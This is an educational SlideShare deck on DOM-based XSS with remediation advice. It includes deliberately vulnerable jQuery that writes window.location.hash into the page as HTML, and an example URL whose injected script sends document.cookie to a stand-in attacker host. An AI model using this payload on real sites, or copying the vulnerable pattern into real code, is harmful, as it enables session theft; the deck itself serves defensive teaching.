SlideShare a Scribd company logo
1 of 22
Understanding DOM-BASED XSS
BY: JOHN PATRICK LITA
INFORMATION SECURITY CONSULTANT – GLOBE TELECOM (ISDP/VM)
DOM-BASED XSS
 As JavaScript framework have gotten more sophisticated, many developers
are pushing logic to the client-side.
 Correspondingly, the importance of knowing how to protect against
vulnerabilities occurring in the browser have increased
DOM-BASED XSS
 Rich web application often use URI fragment – the pary of the URL after
the # sign.
 This proven a convenient method of the storing the users location within a
page in a way that keeps browser history readable, but does not cause
extra round trips to the server.
URI Fragments
 URI fragments are not sent with HTTP request, so they need to be
interpreted by client-side JavaScript.
 You should be careful that your treatment of URI fragment does not
permit the injection of malicious JavaScript.
 Let’s see how a site might be vulnerable to DOM-BASED XSS Attacks
GUI Explanation
www.churvanels.com#1
“This a dangerous cat.”
- Cat Fan
SEE ALL THE HACKER CATS YOU LOVE! #1
For Example
Website has
Infinite scroll
Content is loaded
In dynamically
As the page is
Scrolled down.
Notice how the URI
Fragment is used to
Track the scroll
location
GUI Explanation
www.churvanels.com#2
“I’m Busy hacking”
- Cat Fan Overload
SEE ALL THE HACKER CATS YOU LOVE! #2
For Example
Website has
Infinite scroll
Content is loaded
In dynamically
As the page is
Scrolled down.
Notice how the URI
Fragment is used to
Track the scroll
location
GUI Explanation
www.churvanels.com#3
“Hacker Cat your doin it
rite!”
- Cat Ninja
SEE ALL THE HACKER CATS YOU LOVE! #3
This dome so
That if a user
Navigates away
From the site, and
Then Presses the
Back Button, this
Site can reload their
Last location
Code View
$(document).onload(function(){
var page = window.location.hash;
loadPage(page);
$(“#page-no”).html(page);
});
Notice how the window.location.hash value is written into the DOM as
raw HTML – a major security hole
However, there Vulnerability
In the way the URI fragment
Is interpreted. The site updates
The page number directly from
The URI fragment, without
Checking the contents
GUI Explanation
www.churvanels.com#3
“Hacker Cat your doin it
rite!”
- Cat Ninja
SEE ALL THE HACKER CATS YOU LOVE! #3www.churvanels.com#<script>window.location="http://www.huncker.com?cookie="+document.cookie</script>
This means an
Attacker can
Construct a URL
With malicious
JavaScript in the
URI Fragment..
GUI Explanation
www.churvanels.com#3
“Hacker Cat your doin it
rite!”
- Cat Ninja
SEE ALL THE HACKER CATS YOU LOVE! #3
And when
Somebody is tricked
Into visiting that
URL, the JavaScript
Will be executed in
Their browser
GUI Explanation
huncker.com?cookie=asFFEfadn3243sadkkkiilo56l45j56nklj2
And when
Somebody is tricked
Into visiting that
URL, the JavaScript
Will be executed in
Their browser
Check for DOM-Based Attack
 Perform a brief code review of every piece of JavaScript received from the
application. Identify any XSS or Redirection vulnerabilities that can be
triggered by using a crafted URL to introduce malicious data into the DOM
of the relevant page. Include all standalone JavaScript files and scripts
contained within HTML pages (both static and dynamically generated)
Identifying APIs
 Identify all uses of the following APIs, which may be used to access DOM
data that can be controlled via crafted URL:
 document.location
 document.URL
 document.URLUnencoded
 document.referrer
 windows.location
Trace the relevant
 Trace the relevant data through the code to identify what actions are
performed with it. If the data (or a manipulated form of it) is passed to one
of the following APIs, the application may be vulnerable to XSS
 Document.write()
 Document.writeIn()
 Document.body.innerHTML
 Eval()
 Window.execScript()
 Window.setInterval()
 Window.setTimeout()
Pass the data
 If the data is passed to one of the following APIs, the application may be
vulnerable to a redirection attack.
 Document.location
 Document.URL
 Document.open()
 Windows.location.href
 Window.navigate()
 Window.open()
Remediation
HACKTHENORTH.ORG
DOM-BASED Attack!
 DOM-based XSS attack have all the risk associated with the other types of
XSS attack, with the added bonus that they are impossible to detect from
the server side. Any page that uses URI fragments is potentially at risk from
XSS attack
The Protection
Protecting Against DOM-based XSS attack is a matter of checking that your
JavaScript does not interpret URI fragment in an unsafe manner. There are
number of ways to ensure this
 Use a JavaScript Framework
 Framework like Ember, AngularJS and React use template that makes
contraction of ad-hoc HTML an explicit (and rare) action. This will push your
development team toward best practices, and make unsafe operations easier to
detect
The Protection
 Audit Your Code Carefully
 Sometimes a full JavaScript framework is too heavyweight for your site. In that
case, you will need to regularly conduct a code review to spot locations that
reference window.location.hash.
 If you are using direct the native DOM APIs, avoid using the following
properties and functions:
 InnerHTML
 outerHTML
 Document.write
 Instead, set text content within tags whenever possible:
 innerText
 textContent
Who is JSON?
 Parse JSON Carefully
 Do not evaluate JSON to convert it to native JavaScript – for example, by using
the eval(….) function instead use JSON.parse(…..)
 Don’t use URI Fragment At All!
 The most secure code is the code that isn’t there. If you don’t need to use URI
fragments, then don’t! Write a unit test to scan your JavaScript for mentions of
window.location.has, and have it fail it the pattern is found. When there is a
need to use URI fragments, then you can dicuss how to ensure their sage use.
Implementing CSP
Content-Security Policy
 Modern browser supports Content-Security Policies that allow the author
of a web-page to control where JavaScript (and other resources) can be
loaded and executed from. XSS attacks rely on the attacker being able to
run malicious scripts on a user’s web page – either by injection inline
<script> tags somewhere within the <html> tag of a page, or by tricking
the browser into loading the JavaScript from a malicious Third-Party
domain.
END THE SLIDE!
BY: JOHN PATRICK LITA
INFORMATION SECURITY CONSULTANT – GLOBE TELECOM (ISDP/VM)
References:
Hackplaining and OWASP Foundation

More Related Content

What's hot

Understanding CSRF
Understanding CSRFUnderstanding CSRF
Understanding CSRFPotato
 
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Cross site scripting (xss) attacks issues and defense - by sandeep kumbharCross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Cross site scripting (xss) attacks issues and defense - by sandeep kumbharSandeep Kumbhar
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scriptingkinish kumar
 
Deep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionDeep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionVishal Kumar
 
Cross site scripting attacks and defenses
Cross site scripting attacks and defensesCross site scripting attacks and defenses
Cross site scripting attacks and defensesMohammed A. Imran
 
Cross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning CenterCross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning CenterMichael Coates
 
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Barrel Software
 
Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )Irfad Imtiaz
 
Cross Site Scripting Going Beyond the Alert Box
Cross Site Scripting Going Beyond the Alert BoxCross Site Scripting Going Beyond the Alert Box
Cross Site Scripting Going Beyond the Alert BoxAaron Weaver
 
Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Amit Tyagi
 
Reflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site ScriptingReflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site ScriptingInMobi Technology
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scriptingashutosh rai
 
Cross site scripting (xss)
Cross site scripting (xss)Cross site scripting (xss)
Cross site scripting (xss)Ritesh Gupta
 

What's hot (20)

Understanding CSRF
Understanding CSRFUnderstanding CSRF
Understanding CSRF
 
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Cross site scripting (xss) attacks issues and defense - by sandeep kumbharCross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scripting
 
Xss
XssXss
Xss
 
Deep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionDeep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL Injection
 
Cross site scripting attacks and defenses
Cross site scripting attacks and defensesCross site scripting attacks and defenses
Cross site scripting attacks and defenses
 
Cross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning CenterCross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning Center
 
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)
 
Xss talk, attack and defense
Xss talk, attack and defenseXss talk, attack and defense
Xss talk, attack and defense
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scripting
 
Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )
 
XSS Injection Vulnerabilities
XSS Injection VulnerabilitiesXSS Injection Vulnerabilities
XSS Injection Vulnerabilities
 
Cross site scripting
Cross site scripting Cross site scripting
Cross site scripting
 
Cross Site Scripting Going Beyond the Alert Box
Cross Site Scripting Going Beyond the Alert BoxCross Site Scripting Going Beyond the Alert Box
Cross Site Scripting Going Beyond the Alert Box
 
Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)
 
Reflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site ScriptingReflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site Scripting
 
Xss (cross site scripting)
Xss (cross site scripting)Xss (cross site scripting)
Xss (cross site scripting)
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scripting
 
XSS
XSSXSS
XSS
 
Cross site scripting (xss)
Cross site scripting (xss)Cross site scripting (xss)
Cross site scripting (xss)
 

Viewers also liked

Cyber Security - ICCT Colleges
Cyber Security - ICCT CollegesCyber Security - ICCT Colleges
Cyber Security - ICCT CollegesPotato
 
Understanding sql Injection
Understanding sql InjectionUnderstanding sql Injection
Understanding sql InjectionPotato
 
IOT Security - ICCT College of Engineering
IOT Security - ICCT College of EngineeringIOT Security - ICCT College of Engineering
IOT Security - ICCT College of EngineeringPotato
 
Web appsec and it’s 10 best SDLC practices
Web appsec and it’s 10 best SDLC practicesWeb appsec and it’s 10 best SDLC practices
Web appsec and it’s 10 best SDLC practicesPotato
 
Bab2 merakit merawat dan_memperbaiki_komputer_personal
Bab2 merakit merawat dan_memperbaiki_komputer_personalBab2 merakit merawat dan_memperbaiki_komputer_personal
Bab2 merakit merawat dan_memperbaiki_komputer_personalAgung Sakepris
 
MGT101 - Financial Accounting- Lecture 42
MGT101 - Financial Accounting- Lecture 42MGT101 - Financial Accounting- Lecture 42
MGT101 - Financial Accounting- Lecture 42Bilal Ahmed
 
Tugas Metode Numerik Pendidikan Matematika UMT
Tugas Metode Numerik Pendidikan Matematika UMTTugas Metode Numerik Pendidikan Matematika UMT
Tugas Metode Numerik Pendidikan Matematika UMTrukmono budi utomo
 
Fabsdeal offer- Buy jockey bra and brief online @offer price
Fabsdeal offer- Buy jockey bra and brief online @offer priceFabsdeal offer- Buy jockey bra and brief online @offer price
Fabsdeal offer- Buy jockey bra and brief online @offer priceFabsdeal
 
Age of exploration
Age of explorationAge of exploration
Age of explorationNeutron428
 
metode numerik stepest descent dengan rerata aritmatika
metode numerik stepest descent dengan rerata aritmatikametode numerik stepest descent dengan rerata aritmatika
metode numerik stepest descent dengan rerata aritmatikarukmono budi utomo
 
Ayurveda for fall health
Ayurveda for fall healthAyurveda for fall health
Ayurveda for fall healthNeelam Toprani
 
Bab1 dasar dasar komputer personal
Bab1 dasar dasar komputer personalBab1 dasar dasar komputer personal
Bab1 dasar dasar komputer personalAgung Sakepris
 
Tugas Metode Numerik Pendidikan Matematika UMT
Tugas Metode Numerik Pendidikan Matematika UMTTugas Metode Numerik Pendidikan Matematika UMT
Tugas Metode Numerik Pendidikan Matematika UMTrukmono budi utomo
 

Viewers also liked (20)

Cyber Security - ICCT Colleges
Cyber Security - ICCT CollegesCyber Security - ICCT Colleges
Cyber Security - ICCT Colleges
 
Understanding sql Injection
Understanding sql InjectionUnderstanding sql Injection
Understanding sql Injection
 
IOT Security - ICCT College of Engineering
IOT Security - ICCT College of EngineeringIOT Security - ICCT College of Engineering
IOT Security - ICCT College of Engineering
 
Web appsec and it’s 10 best SDLC practices
Web appsec and it’s 10 best SDLC practicesWeb appsec and it’s 10 best SDLC practices
Web appsec and it’s 10 best SDLC practices
 
Bab2 merakit merawat dan_memperbaiki_komputer_personal
Bab2 merakit merawat dan_memperbaiki_komputer_personalBab2 merakit merawat dan_memperbaiki_komputer_personal
Bab2 merakit merawat dan_memperbaiki_komputer_personal
 
Marco,cabrera;proyectos;primer,parcial
Marco,cabrera;proyectos;primer,parcialMarco,cabrera;proyectos;primer,parcial
Marco,cabrera;proyectos;primer,parcial
 
Optimisasi
OptimisasiOptimisasi
Optimisasi
 
MGT101 - Financial Accounting- Lecture 42
MGT101 - Financial Accounting- Lecture 42MGT101 - Financial Accounting- Lecture 42
MGT101 - Financial Accounting- Lecture 42
 
Tugas Metode Numerik Pendidikan Matematika UMT
Tugas Metode Numerik Pendidikan Matematika UMTTugas Metode Numerik Pendidikan Matematika UMT
Tugas Metode Numerik Pendidikan Matematika UMT
 
Fibonacci
FibonacciFibonacci
Fibonacci
 
Web 2ggg
Web 2gggWeb 2ggg
Web 2ggg
 
Fabsdeal offer- Buy jockey bra and brief online @offer price
Fabsdeal offer- Buy jockey bra and brief online @offer priceFabsdeal offer- Buy jockey bra and brief online @offer price
Fabsdeal offer- Buy jockey bra and brief online @offer price
 
Age of exploration
Age of explorationAge of exploration
Age of exploration
 
3months
3months3months
3months
 
metode numerik stepest descent dengan rerata aritmatika
metode numerik stepest descent dengan rerata aritmatikametode numerik stepest descent dengan rerata aritmatika
metode numerik stepest descent dengan rerata aritmatika
 
Newton
NewtonNewton
Newton
 
Ayurveda for fall health
Ayurveda for fall healthAyurveda for fall health
Ayurveda for fall health
 
Bab7 os jaringan tui
Bab7 os jaringan tuiBab7 os jaringan tui
Bab7 os jaringan tui
 
Bab1 dasar dasar komputer personal
Bab1 dasar dasar komputer personalBab1 dasar dasar komputer personal
Bab1 dasar dasar komputer personal
 
Tugas Metode Numerik Pendidikan Matematika UMT
Tugas Metode Numerik Pendidikan Matematika UMTTugas Metode Numerik Pendidikan Matematika UMT
Tugas Metode Numerik Pendidikan Matematika UMT
 

Similar to Understanding dom based xss

04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encodingEoin Keary
 
xss-100908063522-phpapp02.pdf
xss-100908063522-phpapp02.pdfxss-100908063522-phpapp02.pdf
xss-100908063522-phpapp02.pdfyashvirsingh48
 
Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008abhijitapatil
 
logout.php Session Data after Logout Username Email . $_.docx
logout.php Session Data after Logout  Username  Email  . $_.docxlogout.php Session Data after Logout  Username  Email  . $_.docx
logout.php Session Data after Logout Username Email . $_.docxsmile790243
 
Website hacking and prevention (All Tools,Topics & Technique )
Website hacking and prevention (All Tools,Topics & Technique )Website hacking and prevention (All Tools,Topics & Technique )
Website hacking and prevention (All Tools,Topics & Technique )Jay Nagar
 
.NET Security Topics
.NET Security Topics.NET Security Topics
.NET Security TopicsShawn Gorrell
 
Xss is more than a simple threat
Xss is more than a simple threatXss is more than a simple threat
Xss is more than a simple threatAvădănei Andrei
 
bh-usa-07-grossman-WP.pdf
bh-usa-07-grossman-WP.pdfbh-usa-07-grossman-WP.pdf
bh-usa-07-grossman-WP.pdfcyberhacker7
 
Web 2.0 Application Kung-Fu - Securing Ajax & Web Services
Web 2.0 Application Kung-Fu - Securing Ajax & Web ServicesWeb 2.0 Application Kung-Fu - Securing Ajax & Web Services
Web 2.0 Application Kung-Fu - Securing Ajax & Web ServicesShreeraj Shah
 
Rich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safeRich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safeJeremiah Grossman
 
Pantallas escaneo Sitio Web
Pantallas escaneo Sitio WebPantallas escaneo Sitio Web
Pantallas escaneo Sitio Webandres1422
 
Web Browser Basics, Tips & Tricks Draft 17
Web Browser Basics, Tips & Tricks Draft 17Web Browser Basics, Tips & Tricks Draft 17
Web Browser Basics, Tips & Tricks Draft 17msz
 
React security vulnerabilities
React security vulnerabilitiesReact security vulnerabilities
React security vulnerabilitiesAngelinaJasper
 
JSFoo Chennai 2012
JSFoo Chennai 2012JSFoo Chennai 2012
JSFoo Chennai 2012Krishna T
 
Content Security Policy - PHPUGFFM
Content Security Policy - PHPUGFFMContent Security Policy - PHPUGFFM
Content Security Policy - PHPUGFFMWalter Ebert
 
Cross Site Scripting: Prevention and Detection(XSS)
Cross Site Scripting: Prevention and Detection(XSS)Cross Site Scripting: Prevention and Detection(XSS)
Cross Site Scripting: Prevention and Detection(XSS)Aman Singh
 

Similar to Understanding dom based xss (20)

04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encoding
 
xss-100908063522-phpapp02.pdf
xss-100908063522-phpapp02.pdfxss-100908063522-phpapp02.pdf
xss-100908063522-phpapp02.pdf
 
Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008
 
logout.php Session Data after Logout Username Email . $_.docx
logout.php Session Data after Logout  Username  Email  . $_.docxlogout.php Session Data after Logout  Username  Email  . $_.docx
logout.php Session Data after Logout Username Email . $_.docx
 
Website hacking and prevention (All Tools,Topics & Technique )
Website hacking and prevention (All Tools,Topics & Technique )Website hacking and prevention (All Tools,Topics & Technique )
Website hacking and prevention (All Tools,Topics & Technique )
 
.NET Security Topics
.NET Security Topics.NET Security Topics
.NET Security Topics
 
Xss is more than a simple threat
Xss is more than a simple threatXss is more than a simple threat
Xss is more than a simple threat
 
Xss is more than a simple threat
Xss is more than a simple threatXss is more than a simple threat
Xss is more than a simple threat
 
Session7-XSS & CSRF
Session7-XSS & CSRFSession7-XSS & CSRF
Session7-XSS & CSRF
 
XSS.pdf
XSS.pdfXSS.pdf
XSS.pdf
 
XSS.pdf
XSS.pdfXSS.pdf
XSS.pdf
 
bh-usa-07-grossman-WP.pdf
bh-usa-07-grossman-WP.pdfbh-usa-07-grossman-WP.pdf
bh-usa-07-grossman-WP.pdf
 
Web 2.0 Application Kung-Fu - Securing Ajax & Web Services
Web 2.0 Application Kung-Fu - Securing Ajax & Web ServicesWeb 2.0 Application Kung-Fu - Securing Ajax & Web Services
Web 2.0 Application Kung-Fu - Securing Ajax & Web Services
 
Rich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safeRich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safe
 
Pantallas escaneo Sitio Web
Pantallas escaneo Sitio WebPantallas escaneo Sitio Web
Pantallas escaneo Sitio Web
 
Web Browser Basics, Tips & Tricks Draft 17
Web Browser Basics, Tips & Tricks Draft 17Web Browser Basics, Tips & Tricks Draft 17
Web Browser Basics, Tips & Tricks Draft 17
 
React security vulnerabilities
React security vulnerabilitiesReact security vulnerabilities
React security vulnerabilities
 
JSFoo Chennai 2012
JSFoo Chennai 2012JSFoo Chennai 2012
JSFoo Chennai 2012
 
Content Security Policy - PHPUGFFM
Content Security Policy - PHPUGFFMContent Security Policy - PHPUGFFM
Content Security Policy - PHPUGFFM
 
Cross Site Scripting: Prevention and Detection(XSS)
Cross Site Scripting: Prevention and Detection(XSS)Cross Site Scripting: Prevention and Detection(XSS)
Cross Site Scripting: Prevention and Detection(XSS)
 

Recently uploaded

Software Project Health Check: Best Practices and Techniques for Your Product...
Software Project Health Check: Best Practices and Techniques for Your Product...Software Project Health Check: Best Practices and Techniques for Your Product...
Software Project Health Check: Best Practices and Techniques for Your Product...Velvetech LLC
 
Automate your Kamailio Test Calls - Kamailio World 2024
Automate your Kamailio Test Calls - Kamailio World 2024Automate your Kamailio Test Calls - Kamailio World 2024
Automate your Kamailio Test Calls - Kamailio World 2024Andreas Granig
 
Folding Cheat Sheet #4 - fourth in a series
Folding Cheat Sheet #4 - fourth in a seriesFolding Cheat Sheet #4 - fourth in a series
Folding Cheat Sheet #4 - fourth in a seriesPhilip Schwarz
 
Unveiling Design Patterns: A Visual Guide with UML Diagrams
Unveiling Design Patterns: A Visual Guide with UML DiagramsUnveiling Design Patterns: A Visual Guide with UML Diagrams
Unveiling Design Patterns: A Visual Guide with UML DiagramsAhmed Mohamed
 
Recruitment Management Software Benefits (Infographic)
Recruitment Management Software Benefits (Infographic)Recruitment Management Software Benefits (Infographic)
Recruitment Management Software Benefits (Infographic)Hr365.us smith
 
办理学位证(UQ文凭证书)昆士兰大学毕业证成绩单原版一模一样
办理学位证(UQ文凭证书)昆士兰大学毕业证成绩单原版一模一样办理学位证(UQ文凭证书)昆士兰大学毕业证成绩单原版一模一样
办理学位证(UQ文凭证书)昆士兰大学毕业证成绩单原版一模一样umasea
 
Cloud Data Center Network Construction - IEEE
Cloud Data Center Network Construction - IEEECloud Data Center Network Construction - IEEE
Cloud Data Center Network Construction - IEEEVICTOR MAESTRE RAMIREZ
 
Precise and Complete Requirements? An Elusive Goal
Precise and Complete Requirements? An Elusive GoalPrecise and Complete Requirements? An Elusive Goal
Precise and Complete Requirements? An Elusive GoalLionel Briand
 
Introduction Computer Science - Software Design.pdf
Introduction Computer Science - Software Design.pdfIntroduction Computer Science - Software Design.pdf
Introduction Computer Science - Software Design.pdfFerryKemperman
 
Catch the Wave: SAP Event-Driven and Data Streaming for the Intelligence Ente...
Catch the Wave: SAP Event-Driven and Data Streaming for the Intelligence Ente...Catch the Wave: SAP Event-Driven and Data Streaming for the Intelligence Ente...
Catch the Wave: SAP Event-Driven and Data Streaming for the Intelligence Ente...confluent
 
MYjobs Presentation Django-based project
MYjobs Presentation Django-based projectMYjobs Presentation Django-based project
MYjobs Presentation Django-based projectAnoyGreter
 
Powering Real-Time Decisions with Continuous Data Streams
Powering Real-Time Decisions with Continuous Data StreamsPowering Real-Time Decisions with Continuous Data Streams
Powering Real-Time Decisions with Continuous Data StreamsSafe Software
 
What is Fashion PLM and Why Do You Need It
What is Fashion PLM and Why Do You Need ItWhat is Fashion PLM and Why Do You Need It
What is Fashion PLM and Why Do You Need ItWave PLM
 
A healthy diet for your Java application Devoxx France.pdf
A healthy diet for your Java application Devoxx France.pdfA healthy diet for your Java application Devoxx France.pdf
A healthy diet for your Java application Devoxx France.pdfMarharyta Nedzelska
 
Taming Distributed Systems: Key Insights from Wix's Large-Scale Experience - ...
Taming Distributed Systems: Key Insights from Wix's Large-Scale Experience - ...Taming Distributed Systems: Key Insights from Wix's Large-Scale Experience - ...
Taming Distributed Systems: Key Insights from Wix's Large-Scale Experience - ...Natan Silnitsky
 
英国UN学位证,北安普顿大学毕业证书1:1制作
英国UN学位证,北安普顿大学毕业证书1:1制作英国UN学位证,北安普顿大学毕业证书1:1制作
英国UN学位证,北安普顿大学毕业证书1:1制作qr0udbr0
 
KnowAPIs-UnknownPerf-jaxMainz-2024 (1).pptx
KnowAPIs-UnknownPerf-jaxMainz-2024 (1).pptxKnowAPIs-UnknownPerf-jaxMainz-2024 (1).pptx
KnowAPIs-UnknownPerf-jaxMainz-2024 (1).pptxTier1 app
 
Open Source Summit NA 2024: Open Source Cloud Costs - OpenCost's Impact on En...
Open Source Summit NA 2024: Open Source Cloud Costs - OpenCost's Impact on En...Open Source Summit NA 2024: Open Source Cloud Costs - OpenCost's Impact on En...
Open Source Summit NA 2024: Open Source Cloud Costs - OpenCost's Impact on En...Matt Ray
 
Comparing Linux OS Image Update Models - EOSS 2024.pdf
Comparing Linux OS Image Update Models - EOSS 2024.pdfComparing Linux OS Image Update Models - EOSS 2024.pdf
Comparing Linux OS Image Update Models - EOSS 2024.pdfDrew Moseley
 

Recently uploaded (20)

Software Project Health Check: Best Practices and Techniques for Your Product...
Software Project Health Check: Best Practices and Techniques for Your Product...Software Project Health Check: Best Practices and Techniques for Your Product...
Software Project Health Check: Best Practices and Techniques for Your Product...
 
Automate your Kamailio Test Calls - Kamailio World 2024
Automate your Kamailio Test Calls - Kamailio World 2024Automate your Kamailio Test Calls - Kamailio World 2024
Automate your Kamailio Test Calls - Kamailio World 2024
 
Folding Cheat Sheet #4 - fourth in a series
Folding Cheat Sheet #4 - fourth in a seriesFolding Cheat Sheet #4 - fourth in a series
Folding Cheat Sheet #4 - fourth in a series
 
Unveiling Design Patterns: A Visual Guide with UML Diagrams
Unveiling Design Patterns: A Visual Guide with UML DiagramsUnveiling Design Patterns: A Visual Guide with UML Diagrams
Unveiling Design Patterns: A Visual Guide with UML Diagrams
 
Recruitment Management Software Benefits (Infographic)
Recruitment Management Software Benefits (Infographic)Recruitment Management Software Benefits (Infographic)
Recruitment Management Software Benefits (Infographic)
 
办理学位证(UQ文凭证书)昆士兰大学毕业证成绩单原版一模一样
办理学位证(UQ文凭证书)昆士兰大学毕业证成绩单原版一模一样办理学位证(UQ文凭证书)昆士兰大学毕业证成绩单原版一模一样
办理学位证(UQ文凭证书)昆士兰大学毕业证成绩单原版一模一样
 
Cloud Data Center Network Construction - IEEE
Cloud Data Center Network Construction - IEEECloud Data Center Network Construction - IEEE
Cloud Data Center Network Construction - IEEE
 
Precise and Complete Requirements? An Elusive Goal
Precise and Complete Requirements? An Elusive GoalPrecise and Complete Requirements? An Elusive Goal
Precise and Complete Requirements? An Elusive Goal
 
Introduction Computer Science - Software Design.pdf
Introduction Computer Science - Software Design.pdfIntroduction Computer Science - Software Design.pdf
Introduction Computer Science - Software Design.pdf
 
Catch the Wave: SAP Event-Driven and Data Streaming for the Intelligence Ente...
Catch the Wave: SAP Event-Driven and Data Streaming for the Intelligence Ente...Catch the Wave: SAP Event-Driven and Data Streaming for the Intelligence Ente...
Catch the Wave: SAP Event-Driven and Data Streaming for the Intelligence Ente...
 
MYjobs Presentation Django-based project
MYjobs Presentation Django-based projectMYjobs Presentation Django-based project
MYjobs Presentation Django-based project
 
Powering Real-Time Decisions with Continuous Data Streams
Powering Real-Time Decisions with Continuous Data StreamsPowering Real-Time Decisions with Continuous Data Streams
Powering Real-Time Decisions with Continuous Data Streams
 
What is Fashion PLM and Why Do You Need It
What is Fashion PLM and Why Do You Need ItWhat is Fashion PLM and Why Do You Need It
What is Fashion PLM and Why Do You Need It
 
Odoo Development Company in India | Devintelle Consulting Service
Odoo Development Company in India | Devintelle Consulting ServiceOdoo Development Company in India | Devintelle Consulting Service
Odoo Development Company in India | Devintelle Consulting Service
 
A healthy diet for your Java application Devoxx France.pdf
A healthy diet for your Java application Devoxx France.pdfA healthy diet for your Java application Devoxx France.pdf
A healthy diet for your Java application Devoxx France.pdf
 
Taming Distributed Systems: Key Insights from Wix's Large-Scale Experience - ...
Taming Distributed Systems: Key Insights from Wix's Large-Scale Experience - ...Taming Distributed Systems: Key Insights from Wix's Large-Scale Experience - ...
Taming Distributed Systems: Key Insights from Wix's Large-Scale Experience - ...
 
英国UN学位证,北安普顿大学毕业证书1:1制作
英国UN学位证,北安普顿大学毕业证书1:1制作英国UN学位证,北安普顿大学毕业证书1:1制作
英国UN学位证,北安普顿大学毕业证书1:1制作
 
KnowAPIs-UnknownPerf-jaxMainz-2024 (1).pptx
KnowAPIs-UnknownPerf-jaxMainz-2024 (1).pptxKnowAPIs-UnknownPerf-jaxMainz-2024 (1).pptx
KnowAPIs-UnknownPerf-jaxMainz-2024 (1).pptx
 
Open Source Summit NA 2024: Open Source Cloud Costs - OpenCost's Impact on En...
Open Source Summit NA 2024: Open Source Cloud Costs - OpenCost's Impact on En...Open Source Summit NA 2024: Open Source Cloud Costs - OpenCost's Impact on En...
Open Source Summit NA 2024: Open Source Cloud Costs - OpenCost's Impact on En...
 
Comparing Linux OS Image Update Models - EOSS 2024.pdf
Comparing Linux OS Image Update Models - EOSS 2024.pdfComparing Linux OS Image Update Models - EOSS 2024.pdf
Comparing Linux OS Image Update Models - EOSS 2024.pdf
 

Understanding dom based xss

  • 1. Understanding DOM-BASED XSS BY: JOHN PATRICK LITA INFORMATION SECURITY CONSULTANT – GLOBE TELECOM (ISDP/VM)
  • 2. DOM-BASED XSS  As JavaScript framework have gotten more sophisticated, many developers are pushing logic to the client-side.  Correspondingly, the importance of knowing how to protect against vulnerabilities occurring in the browser have increased
  • 3. DOM-BASED XSS  Rich web application often use URI fragment – the pary of the URL after the # sign.  This proven a convenient method of the storing the users location within a page in a way that keeps browser history readable, but does not cause extra round trips to the server.
  • 4. URI Fragments  URI fragments are not sent with HTTP request, so they need to be interpreted by client-side JavaScript.  You should be careful that your treatment of URI fragment does not permit the injection of malicious JavaScript.  Let’s see how a site might be vulnerable to DOM-BASED XSS Attacks
  • 5. GUI Explanation www.churvanels.com#1 “This a dangerous cat.” - Cat Fan SEE ALL THE HACKER CATS YOU LOVE! #1 For Example Website has Infinite scroll Content is loaded In dynamically As the page is Scrolled down. Notice how the URI Fragment is used to Track the scroll location
  • 6. GUI Explanation www.churvanels.com#2 “I’m Busy hacking” - Cat Fan Overload SEE ALL THE HACKER CATS YOU LOVE! #2 For Example Website has Infinite scroll Content is loaded In dynamically As the page is Scrolled down. Notice how the URI Fragment is used to Track the scroll location
  • 7. GUI Explanation www.churvanels.com#3 “Hacker Cat your doin it rite!” - Cat Ninja SEE ALL THE HACKER CATS YOU LOVE! #3 This dome so That if a user Navigates away From the site, and Then Presses the Back Button, this Site can reload their Last location
  • 8. Code View $(document).onload(function(){ var page = window.location.hash; loadPage(page); $(“#page-no”).html(page); }); Notice how the window.location.hash value is written into the DOM as raw HTML – a major security hole However, there Vulnerability In the way the URI fragment Is interpreted. The site updates The page number directly from The URI fragment, without Checking the contents
